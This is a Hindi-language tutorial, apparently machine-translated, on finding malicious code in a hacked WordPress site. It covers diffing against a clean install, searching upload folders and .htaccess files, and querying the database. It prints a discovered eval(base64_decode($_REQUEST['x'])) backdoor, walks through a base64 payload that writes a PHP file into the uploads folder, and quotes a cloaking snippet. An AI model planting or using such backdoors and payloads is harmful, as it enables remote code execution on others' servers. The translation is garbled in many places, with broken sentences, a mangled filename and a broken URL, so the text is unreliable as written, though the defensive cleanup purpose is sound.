рдореЗрд░реЗ рдкрд╛рд╕ рджреЛ рд╡рд░реНрдбрдкреНрд░реЗрд╕-рдХреНрд▓реАрди рдлрд╝реЛрд▓реНрдбрд░ рд╣реИрдВ, рдЬрд┐рд╕рдореЗрдВ рд╡рд░реНрдбрдкреНрд░реЗрд╕ рдФрд░ рд╡рд░реНрдбрдкреНрд░реЗрд╕-рдХреЙрдореНрдкреНрд░реЛрдорд╛рдЗрдЬреНрдб рдХреА рдмрд╕ рдбрд╛рдЙрдирд▓реЛрдб рдХреА рдЧрдИ рдХреЙрдкреА рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рдлрд╛рдЗрд▓реЛрдВ рдореЗрдВ рдХрд╣реАрдВ рднреА рдЦрддрд░рд╛ рд╣реИред

 drwxr-xr-x 4 greg greg 4096 Mar 2 15:59 . drwxr-xr-x 4 greg greg 4096 Mar 2 15:59 .. drwxr-xr-x 5 greg greg 4096 Jan 24 15:53 wordpress-clean drwxr-xr-x 5 greg greg 4096 Jan 24 15:53 wordpress-compromised 

рдореИрдВ рдХрдорд╛рдВрдб рдЪрд▓рд╛рдХрд░ рдЕрдкрдиреЗ рд╕реНрдерд╛рдкрд┐рдд рд╡рд░реНрдбрдкреНрд░реЗрд╕ рдФрд░ рд╢реБрджреНрдз рд╡рд░реНрдбрдкреНрд░реЗрд╕ рдХреЗ рдмреАрдЪ рдЕрдВрддрд░ рдкрд╛ рд╕рдХрддрд╛ рд╣реВрдВ:

 diff -r wordpress-clean/ wordpress-compromised/ -x wp-content 

рдореИрдВрдиреЗ рдЗрд╕ рдЦреЛрдЬ рд╕реЗ wp-content рдХреЛ рдмрд╛рд╣рд░ рдХрд░ рджрд┐рдпрд╛ рд╣реИ, рдХреНрдпреЛрдВрдХрд┐ рд╣рд░ рдХрд┐рд╕реА рдХреА рдЕрдкрдиреА рдереАрдо рдФрд░ рдкреНрд▓рдЧрдЗрдиреНрд╕ рд╣реИрдВред
рдпреБрдХреНрддрд┐: рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░реЗрдВ рдХрд┐ рдЖрдк рддреБрд▓рдирд╛ рдХреЗ рд▓рд┐рдП рд╡рд░реНрдбрдкреНрд░реЗрд╕ рдХреЗ рдПрдХ рд╣реА рд╕рдВрд╕реНрдХрд░рдг рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВред

рдпрд╣рд╛рдБ рдореЗрд░реА рдЦреЛрдЬ рдХреЗ рдкрд░рд┐рдгрд╛рдо рд╣реИрдВ:

 diff -r -x wp-content wordpress-clean/wp-admin/includes/class-wp-importer.php wordpress-compromised/wp-admin/includes/class-wp-importer.php 302a303,306 > > if (isset($_REQUEST['x'])) { > eval(base64_decode($_REQUEST['x'])); > } 

рдЙрд╕рдиреЗ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдХреЛрдб рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдпрд╛ рд╣реИ!

рдЬрд┐рдЬреНрдЮрд╛рд╕рд╛ рд╕реЗ рдмрд╛рд╣рд░ ...

рдХреЛрдб рдХреА рдЗрди 3 рдкрдВрдХреНрддрд┐рдпреЛрдВ рдХреЗ рд╕рд╛рде рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдХреНрдпрд╛ рдХрд░ рд╕рдХрддрд╛ рд╣реИ? рд╕рдмрд╕реЗ рдкрд╣рд▓реЗ, рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдХреЛ рдЙрдкрдпреЛрдЧреА рдЬрд╛рдирдХрд╛рд░реА рдорд┐рд▓реЗрдЧреА:

 $payload = "file_put_contents(\"../../wp-content/uploads/wp-upload.php\", \"<?php\nphpinfo();\");"; echo base64_encode($payload); // output: ZmlsZV9wdXRfY29udGVudHMoIi4uLy4uL3dwLWNvbnRlbnQvdXBsb2Fkcy93cC11cGxvYWQucGhwIiwgIjw/cGhwCnBocGluZm8oKTsiKTs= 

рдЗрд╕рдХреЗ рдмрд╛рдж рд╡рд╣ http: / /YSSITE/wp-admin/includes/class-wp-importer.php рдкрд░ рдПрдХ GET рдпрд╛ POST рдЕрдиреБрд░реЛрдз рднреЗрдЬреЗрдЧрд╛, рдЬрд┐рд╕рдореЗрдВ рдКрдкрд░ рд▓рд┐рдЦреА рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдпреБрдХреНрдд рдкреИрд░рд╛рдореАрдЯрд░ x рд╣реЛрдЧрд╛ред рдЗрд╕рдХреЗ рдирд┐рд╖реНрдкрд╛рджрди рдХреЗ рдкрд░рд┐рдгрд╛рдорд╕реНрд╡рд░реВрдк, рдлрд╝рд╛рдЗрд▓ /wp-content/uploads/wp-upload.php рдмрдирд╛рдИ рдЬрд╛рдПрдЧреА, рдЬреЛ рдЖрдкрдХреЗ рд╕рд░реНрд╡рд░ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд░рддреА рд╣реИред рдпрд╣ рдмреБрд░рд╛ рдирд╣реАрдВ рд▓рдЧрддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рддрдереНрдп рдпрд╣ рд╣реИ рдХрд┐ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдХрд┐рд╕реА рднреА php рдХреЛрдб рдХреЛ рдЪрд▓рд╛ рд╕рдХрддрд╛ рд╣реИ рдЬреЛ рд╡рд╣ рдЪрд╛рд╣рддрд╛ рд╣реИред
рдиреЛрдЯ: рдпрд╣ рдХреЗрд╡рд▓ рддрднреА рдХрд╛рдо рдХрд░реЗрдЧрд╛ рдЬрдм wp-content / uploads directory рд▓реЗрдЦрди рдпреЛрдЧреНрдп рд╣реЛред рд▓рдЧрднрдЧ рд╣рдореЗрд╢рд╛, рд╡реЗрдм рд╕рд░реНрд╡рд░ рдХреА рд╕реЗрдЯрд┐рдВрдЧреНрд╕ рдХреЗ рдЖрдзрд╛рд░ рдкрд░, рдЖрдк рдЕрдиреНрдп рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЗ рд▓рд┐рдП рдкрдарди / рд▓реЗрдЦрди рдЕрдиреБрдорддрд┐рдпрд╛рдБ рдмрджрд▓ рд╕рдХрддреЗ рд╣реИрдВред

рд╣рдореЗрд╢рд╛ рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдХреЛрдб рдбрд╛рдЙрдирд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрд▓рдмреНрдз рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛рдУрдВ рдХреА рддрд▓рд╛рд╢ рдХрд░реЗрдВред

рдКрдкрд░ рдкреНрд░рд╕реНрддреБрдд рддрд░реАрдХреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ, рдЕрдкрдиреЗ рдмреВрдЯ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдореЗрдВ php рдХреЛрдб рдвреВрдВрдврдирд╛ рдЖрд╕рд╛рди рд╣реИред Wordpress рдХреЗ рд▓рд┐рдП, рдпрд╣ рд╣реЛрдЧрд╛:

 find wp-content/uploads -type f -name '*.php' 

рдпреБрдХреНрддрд┐: рдпрд╣рд╛рдВ рдПрдХ рдмрд╣реБрдд рд╣реА рд╕рд░рд▓ рдмреИрд╢ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд╣реИ рдЬреЛ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛рдУрдВ рдХреЛ рд▓рд┐рдЦрдиреЗ рдпреЛрдЧреНрдп рдФрд░ рдЙрдирдореЗрдВ php рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЗ рд▓рд┐рдП рджрд┐рдЦрддрд╛ рд╣реИред рдкрд░рд┐рдгрд╛рдо results.txt рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рд╕рд╣реЗрдЬрд╛ рдЬрд╛рдПрдЧрд╛ред рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдкреБрдирд░рд╛рд╡рд░реНрддреА рд░реВрдк рд╕реЗ рдХрд╛рдо рдХрд░рддреА рд╣реИред

 #!/bin/bash search_dir=$(pwd) writable_dirs=$(find $search_dir -type d -perm 0777) for dir in $writable_dirs do #echo $dir find $dir -type f -name '*.php' done 

рдлрд╝рд╛рдЗрд▓ рдХрд╛ рдирд╛рдо рдЦреЛрдЬреЗрдВ_for_php_in_writable рдФрд░ рдЗрд╕реЗ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдЕрдзрд┐рдХрд╛рд░ рджреЗрдВ

 chmod +x search_for_php_in_writable 

рдЗрд╕ рдлрд╝рд╛рдЗрд▓ рдХреЛ рдЕрдкрдиреЗ рд╣реЛрдо рдбрд╛рдпрд░реЗрдХреНрдЯрд░реА рдореЗрдВ рд╕реЗрд╡ рдХрд░реЗрдВ, рдФрд░ рдлрд┐рд░ рдЙрд╕ рдбрд╛рдпрд░реЗрдХреНрдЯрд░реА рдкрд░ рдЬрд╛рдПрдБ рдЬрд┐рд╕рдореЗрдВ рдЖрдк рд╕рд░реНрдЪ рдХрд░рдХреЗ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХрдорд╛рдВрдб рдХреЛ рдЪрд▓рд╛рдиреЗ рдЬрд╛ рд░рд╣реЗ рд╣реИрдВ:

 ~/search_for_php_in_writable > results.txt ~/search_for_php_in_writable | less 

рдиреЛрдЯ: рдпрджрд┐ рдЖрдкрдХреА рд╕рд╛рдЗрдЯ рдХреЛ рд╕рд╛рдЭрд╛ рд╣реЛрд╕реНрдЯрд┐рдВрдЧ рдкрд░ рд╣реЛрд╕реНрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдФрд░ рд╡реЗрдм рд╕рд░реНрд╡рд░ рд╕реБрд░рдХреНрд╖рд┐рдд рд░реВрдк рд╕реЗ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рддреЛ рд╣реЛ рд╕рдХрддрд╛ рд╣реИ рдХрд┐ рдЖрдкрдХреА рд╕рд╛рдЗрдЯ рдкрд░ рд╣рдорд▓рд╛ рдХрд░рдиреЗ рдХрд╛ рдПрдХрдорд╛рддреНрд░ рдХрд╛рд░рдг рди рд╣реЛред рдХрдордЬреЛрд░ рд╕рд╛рдЗрдЯреЛрдВ рдкрд░ php рд╢реЗрд▓ рдХреА рд╕рд╛рдорд╛рдиреНрдп рд▓реЛрдбрд┐рдВрдЧ рдЕрдирд┐рд╡рд╛рд░реНрдп рд░реВрдк рд╕реЗ рдПрдХ рдЙрдкрдХрд░рдг рд╣реИ рдЬреЛ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдХреЛ рдПрдХ рдлрд╝рд╛рдЗрд▓ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рджреЗрддрд╛ рд╣реИред рд╡реЗ рдЗрд╕ рдЙрдкрдХрд░рдг рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ рд╕рд░реНрд╡рд░ рдкрд░ рд╕рднреА рд▓рд┐рдкрд┐рдпреЛрдВ рдкрд░ рд╣рдорд▓рд╛ рдХрд░рдиреЗ рд╡рд╛рд▓реА рд▓рд┐рдкрд┐рдпреЛрдВ рдХреЛ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдЬреЛ рдХрд┐ рдЙрдкрдпреБрдХреНрдд рд╣реИрдВ, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдбрд╛рдЙрдирд▓реЛрдб рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ред
рдиреЛрдЯ: рдкрдЯрд╛рдЦреЗ рдЖрдорддреМрд░ рдкрд░ рдЙрди рдЪрд┐рддреНрд░реЛрдВ рдХреЛ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░рддреЗ рд╣реИрдВ рдЬрд┐рдирдореЗрдВ php рдХреЛрдб рд╣реЛрддрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП рдКрдкрд░ рд╕реВрдЪреАрдмрджреНрдз рд╡рд┐рдзрд┐рдпреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЕрдиреНрдп рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВред

 find wp-content/uploads -type f | xargs grep -i php find wp-content/uploads -type f -iname '*.jpg' | xargs grep -i php 

рд╡рд┐рд╢реНрд╡рд╛рд╕ рдирд╣реАрдВ рд╣реЛрддрд╛? рдЗрд╕ рдлрд╛рдЗрд▓ рдХреЛ рд╣реИрдХ рдХреА рдЧрдИ рд╕рд╛рдЗрдЯ рдкрд░ jpg рдЗрдореЗрдЬ рдХреЗ рд░реВрдк рдореЗрдВ рдЕрдкрд▓реЛрдб рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред рдРрд╕рд╛ рд▓рдЧрддрд╛ рд╣реИ рдХрд┐ рдпрд╣ рдмрд╛рдЗрдирд░реА рдбреЗрдЯрд╛ рдХреЗ рд▓рд┐рдП рдЧрд▓рдд рдерд╛ред рдпрд╣рд╛рдБ рдПрдХ рдФрд░ рдЕрдзрд┐рдХ "рдкрдардиреАрдп" рдкреНрд░рд╛рд░реВрдк рдореЗрдВ рдПрдХ рд╣реА рдлрд╛рдЗрд▓ рд╣реИред

рдЕрднреА рднреА рдирд╣реАрдВ рдкрдврд╝ рд╕рдХрддреЗ рд╣реИрдВ? рдореЗрд░реЗ рд▓рд┐рдП рдПрдХ рдЧрд╣рд░реА рдЬрд╛рдБрдЪ рдХреА рддрд░рд╣ред рдпрд╣ рд╕рдм рдХреЛрдб рдЗрд╕ рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдЪрд▓рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ:

 if(!defined('FROM_IPB') && !function_exists("shutdownCallback") and @$_SERVER["HTTP_A"]=="b") { function shutdownCallback() { echo "<!--".md5("links")."-->"; } register_shutdown_function("shutdownCallback"); } 

рдЗрд╕ рд▓рд┐рдкрд┐ рдХреЛ рдЕрдкреНрд░рд╛рд╕рдВрдЧрд┐рдХ рдмрдирд╛ рджреЗрддрд╛ рд╣реИ, рдЖрдкрдХреЛ рд╕реАрдЦрдирд╛ рдЪрд╛рд╣рд┐рдП, рдЖрдкрдХреЛ рдЕрдкрдиреА рдмреВрдЯ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛рдУрдВ рдХреЛ рдЬрд╛рдВрдЪрдирд╛ рд╣реЛрдЧрд╛ред
рдпрджрд┐ рдЖрдк рд░реБрдЪрд┐ рд░рдЦрддреЗ рд╣реИрдВ, рддреЛ рдпрд╣ рдХреЗрд╡рд▓ рдПрдХ рдкрд░реАрдХреНрд╖рдг рдкрд░рд┐рджреГрд╢реНрдп рд╣реИ рдХрд┐ рдиреЛрдб рдЕрд╕реБрд░рдХреНрд╖рд┐рдд рд╣реИ рдпрд╛ рдирд╣реАрдВ, рдпрд╣ рджреЗрдЦрдиреЗ рдХреЗ рд▓рд┐рдП рд╣рдорд▓рд╛ рдмрд╛рдж рдореЗрдВ рд╣реБрдЖред

рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдХреЛрдб рдФрд░ рдХрд╣рд╛рдВ рдЫрд┐рдкрд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ?

рдпрджрд┐ рдЖрдкрдХрд╛ php рдХреЛрдб рдЧрддрд┐рд╢реАрд▓ рд░реВрдк рд╕реЗ рдкреГрд╖реНрда рд╕рд╛рдордЧреНрд░реА рдЙрддреНрдкрдиреНрди рдХрд░рддрд╛ рд╣реИ рдФрд░ рдЖрдкрдХреА рд╕рд╛рдЗрдЯ рд╣реИрдХ рд╣реЛ рдЧрдИ рд╣реИ, рддреЛ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдбреЗрдЯрд╛рдмреЗрд╕ рдореЗрдВ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдХреЛрдб рд▓рд┐рдЦ рд╕рдХрддрд╛ рд╣реИред рдЖрдк рдЕрдзрд┐рдХ рдЧрд╣рди рдЬрд╛рдВрдЪ рднреА рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

рдкреГрд╖реНрда рд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж рдЕрдкрдиреА рд╕рд╛рдЗрдЯ рдкрд░ рдЬрд╛рдПрдВ, рдЗрд╕рдХреЗ рд╕реНрд░реЛрдд HTML рдХреЛрдб рдХреЛ рджреЗрдЦреЗрдВ рдФрд░ рдЗрд╕реЗ рдЕрдкрдиреЗ рдХрдВрдкреНрдпреВрдЯрд░ рдкрд░ рдХрд╣реАрдВ рд╕рд╣реЗрдЬреЗрдВ, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП mywebsite.txt; рдирд┐рдореНрди рдЖрджреЗрд╢ рдЪрд▓рд╛рдПрдБ

 grep -i '<iframe' mywebsite.txt 

рд╣реИрдХрд░реНрд╕ рдЕрдХреНрд╕рд░ рд╣реИрдХ рдХреА рдЧрдИ рд╕рд╛рдЗрдЯреЛрдВ рдкрд░ рдЖрдЗрдлреНрд░реЗрдо рдбрд╛рд▓рддреЗ рд╣реИрдВ, рд╕рд╛рдЗрдЯ рдкрд░ рд╕рднреА рдкреГрд╖реНрдареЛрдВ рдХреА рдЬрд╛рдВрдЪ рдХрд░рддреЗ рд╣реИрдВ!
рдпреБрдХреНрддрд┐: рдЕрдкрдиреЗ рд╕рдВрд╕рд╛рдзрди рдХреА HTML рд╕рд╛рдордЧреНрд░реА рдХреЛ рджреЗрдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдлрд╝рд╛рдпрд░рдлрд╝реЙрдХреНрд╕ рдХреЗ рд▓рд┐рдП рдлрд╝рд╛рдпрд░рдмрдЧ рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ, рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдЖрдЗрдлреНрд░реЗрдо рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП javascipt рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдореЗрдВ рдкреГрд╖реНрда рдХреЗ рд╕реНрд░реЛрдд рдХреЛрдб рдХреЛ рджреЗрдЦрддреЗ рд╕рдордп рдЙрдиреНрд╣реЗрдВ рдкреНрд░рджрд░реНрд╢рд┐рдд рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛, рдХреНрдпреЛрдВрдХрд┐ DOM рдкреГрд╖реНрда рд▓реЛрдб рд╣реЛрдиреЗ рдХреЗ рдмрд╛рдж рдмрджрд▓рддрд╛ рд╣реИред рдлрд╝рд╛рдпрд░рдлрд╝реЙрдХреНрд╕ рдХреЗ рд▓рд┐рдП рдПрдХ рд▓рд╛рдЗрд╡ HTTP рд╣реЗрдбрд░ рдПрдХреНрд╕рдЯреЗрдВрд╢рди рднреА рд╣реИ рдЬреЛ рдЖрдкрдХреЗ рдкреЗрдЬ рдкрд░ рд╕рднреА рд╡рд░реНрддрдорд╛рди рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЛ рджрд┐рдЦрд╛рдПрдЧрд╛ред рдЗрд╕рд╕реЗ рд╡реЗрдм рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЛ рджреЗрдЦрдирд╛ рдЖрд╕рд╛рди рд╣реЛ рдЬрд╛рдПрдЧрд╛, рдЬреЛ рдирд╣реАрдВ рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдПред

рдбреЗрдЯрд╛рдмреЗрд╕ рдЦреЛрдЬреЗрдВ


рд╢рд╛рдпрдж рд╣рдорд▓рд╛рд╡рд░ рдиреЗ рдбреЗрдЯрд╛рдмреЗрд╕ рдореЗрдВ рдХреЛрдб рдЬреЛрдбрд╝рд╛ред рдпрд╣ рддрднреА рд╣реЛрдЧрд╛ рдЬрдм рдЖрдкрдХрд╛ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдбреЗрдЯрд╛рдмреЗрд╕ рдореЗрдВ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛрдб, рдЬреИрд╕реЗ рдкреНрд▓рдЧрдЗрдиреНрд╕ рдХреЛ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░реЗрдЧрд╛ред рддреЛ vBulletin рдХрд░рддрд╛ рд╣реИред рд╣рд╛рд▓рд╛рдВрдХрд┐ рдпрд╣ рджреБрд░реНрд▓рдн рд╣реИ, рдЖрдкрдХреЛ рдпрд╣ рдЬрд╛рдирдирд╛ рдЪрд╛рд╣рд┐рдПред рдпрджрд┐ рдЖрдкрдХреЛ рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ рд╣реИрдХ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛, рддреЛ рд╣рдорд▓рд╛рд╡рд░ рдХреЛ рдЖрдкрдХреА рд╕рд╛рдЗрдЯ рдкрд░ рдбреЗрдЯрд╛ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд░рдиреЗ рд╡рд╛рд▓реА рддрд╛рд▓рд┐рдХрд╛рдУрдВ рдореЗрдВ рдПрдХ рдЖрдЗрдлреНрд░реЗрдо рдбрд╛рд▓рдиреЗ рдХреА рд╕рдВрднрд╛рд╡рдирд╛ рд╣реИред

рдЗрд╕ рдЙрджрд╛рд╣рд░рдг рдореЗрдВ, рд╣рдо mysql рдпрд╛ рдЗрд╕рдХреЗ рдбреЗрд░рд┐рд╡реЗрдЯрд┐рд╡ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВрдЧреЗред

рдРрд╕рд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдореИрдВ PHPMyAdmin рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рдЪрд╛рд╣реВрдВрдЧрд╛ рдФрд░ рдпрд╣ рдореЗрд░реЗ рд▓рд┐рдП рд╕рд╛рдорд╛рдиреНрдп рдирд╣реАрдВ рд╣реИ, рдореИрдВ рдХрдорд╛рдВрдб рд▓рд╛рдЗрди рдЯреВрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рдкрд╕рдВрдж рдХрд░рддрд╛ рд╣реВрдВ, рд╡реЗ рдХреЛрдб рдореЗрдВ рдЙрдкрд▓рдмреНрдз рд╣реИрдВ, рд▓реЗрдХрд┐рди рдпрд╣ рдЯреВрд▓ рдЦреЛрдЬ рдХреЗ рд▓рд┐рдП рд╕реБрд╡рд┐рдзрд╛рдЬрдирдХ рд╣реИред

рд╡реНрдпрдХреНрддрд┐рдЧрдд рд░реВрдк рд╕реЗ, рдореИрдВ рдЙрддреНрдкрд╛рджрди рд╕рд░реНрд╡рд░ рдкрд░ PHPMyAdmin рдирд╣реАрдВ рдЪрд▓рд╛рддрд╛ рд╣реВрдВ, рдореИрдВ рдбреЗрдЯрд╛рдмреЗрд╕ рдХреА рдПрдХ рдкреНрд░рддрд┐ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░рддрд╛ рд╣реВрдВ рдФрд░ рдЗрд╕реЗ рд╕реНрдерд╛рдиреАрдп рд╕рд░реНрд╡рд░ рдкрд░ рдЪрд▓рд╛рддрд╛ рд╣реВрдВред рдпрджрд┐ рдбреЗрдЯрд╛рдмреЗрд╕ рдмрдбрд╝рд╛ рд╣реИ, рддреЛ рдЙрддреНрдкрд╛рджрди рд╕рд░реНрд╡рд░ рдкрд░ рдкрд╛рда рдХреЗ рдЫреЛрдЯреЗ рдЯреБрдХрдбрд╝реЛрдВ рдХреА рдЦреЛрдЬ рдХрд░рдиреЗ рдХреА рдЕрдиреБрд╢рдВрд╕рд╛ рдирд╣реАрдВ рдХреА рдЬрд╛рддреА рд╣реИред

PHPMyAdmin рдбреЗрдЯрд╛рдмреЗрд╕ рдЦреЛрд▓реЗрдВ рдФрд░ 'рдЦреЛрдЬ' рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░реЗрдВред рдЖрдк% base64_% рдФрд░% eval (%, рдФрд░ рдХрд┐рд╕реА рднреА рдЕрдиреНрдп рд╕рдВрдпреЛрдЬрдиреЛрдВ рдЬреИрд╕реЗ рд╕реНрдЯреНрд░рд┐рдВрдЧреНрд╕ рдХреА рдЦреЛрдЬ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬрд┐рдиреНрд╣реЗрдВ рдореИрдВрдиреЗ рдкрд╣рд▓реЗ рд╣реА рд░реЗрдЦрд╛рдВрдХрд┐рдд рдХрд┐рдпрд╛ рд╣реИред

рдпрджрд┐ рдЖрдк Apache рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣реЗ рд╣реИрдВ рддреЛ .htaccess рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреА рдЬрд╛рдБрдЪ рдХрд░реЗрдВ


рдпрджрд┐ рдЖрдк Apache рд╡реЗрдм рд╕рд░реНрд╡рд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣реЗ рд╣реИрдВ, рддреЛ рд╕рдВрджрд┐рдЧреНрдз рдкрд░рд┐рд╡рд░реНрддрдиреЛрдВ рдХреЗ рд▓рд┐рдП .htaccess рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреА рдЬрд╛рдБрдЪ рдХрд░реЗрдВред

auto_append_file рдФрд░ auto_prepend_file рдореЗрдВ рд╕рднреА php рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреА рд╢реБрд░реБрдЖрдд рдпрд╛ рдЕрдВрдд рдореЗрдВ рдЕрдиреНрдп php рдлрд╛рдЗрд▓реЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реИрдВ, рд╣рдорд▓рд╛рд╡рд░ рдЙрдирдХрд╛ рдХреЛрдб рд╢рд╛рдорд┐рд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдирдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

 find . -type f -name '\.htaccess' | xargs grep -i auto_prepend_file; find . -type f -name '\.htaccess' | xargs grep -i auto_append_file; 

рдирд┐рдореНрди рдЖрджреЗрд╢ .htacess рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЗ рд▓рд┐рдП рд╕рднреА рдЙрдкрдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛рдУрдВ рдореЗрдВ рджрд┐рдЦрддрд╛ рд╣реИ рдЬрд┐рдирдореЗрдВ 'http' рд╣реЛрддрд╛ рд╣реИред рдЦреЛрдЬ рдХрд╛ рдкрд░рд┐рдгрд╛рдо рд╕рднреА рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢рди рдирд┐рдпрдореЛрдВ рдХреА рдПрдХ рд╕реВрдЪреА рд╣реЛрдЧреА, рдЬрд┐рд╕рдореЗрдВ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдирд┐рдпрдо рд╢рд╛рдорд┐рд▓ рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВред

 find . -type f -name '\.htaccess' | xargs grep -i http; 

рдХреБрдЫ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдПрдЬреЗрдВрдЯ рдкрд░ рдЖрдзрд╛рд░рд┐рдд рд╣реЛрддреЗ рд╣реИрдВред HTTP_USER_AGENT рдЗрди .htaccess рдлрд╝рд╛рдЗрд▓реЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рдЕрдЪреНрдЫрд╛ рд▓рдЧреЗрдЧрд╛ред рдкрд┐рдЫрд▓реЗ рдЖрджреЗрд╢реЛрдВ рдХреЛ рдЖрд╕рд╛рдиреА рд╕реЗ рдмрджрд▓рд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдмрд╕ рдЕрд░реНрдзрд╡рд┐рд░рд╛рдо рд╕реЗ рдкрд╣рд▓реЗ рдЦреЛрдЬрд╢рдмреНрдж рдмрджрд▓реЗрдВред

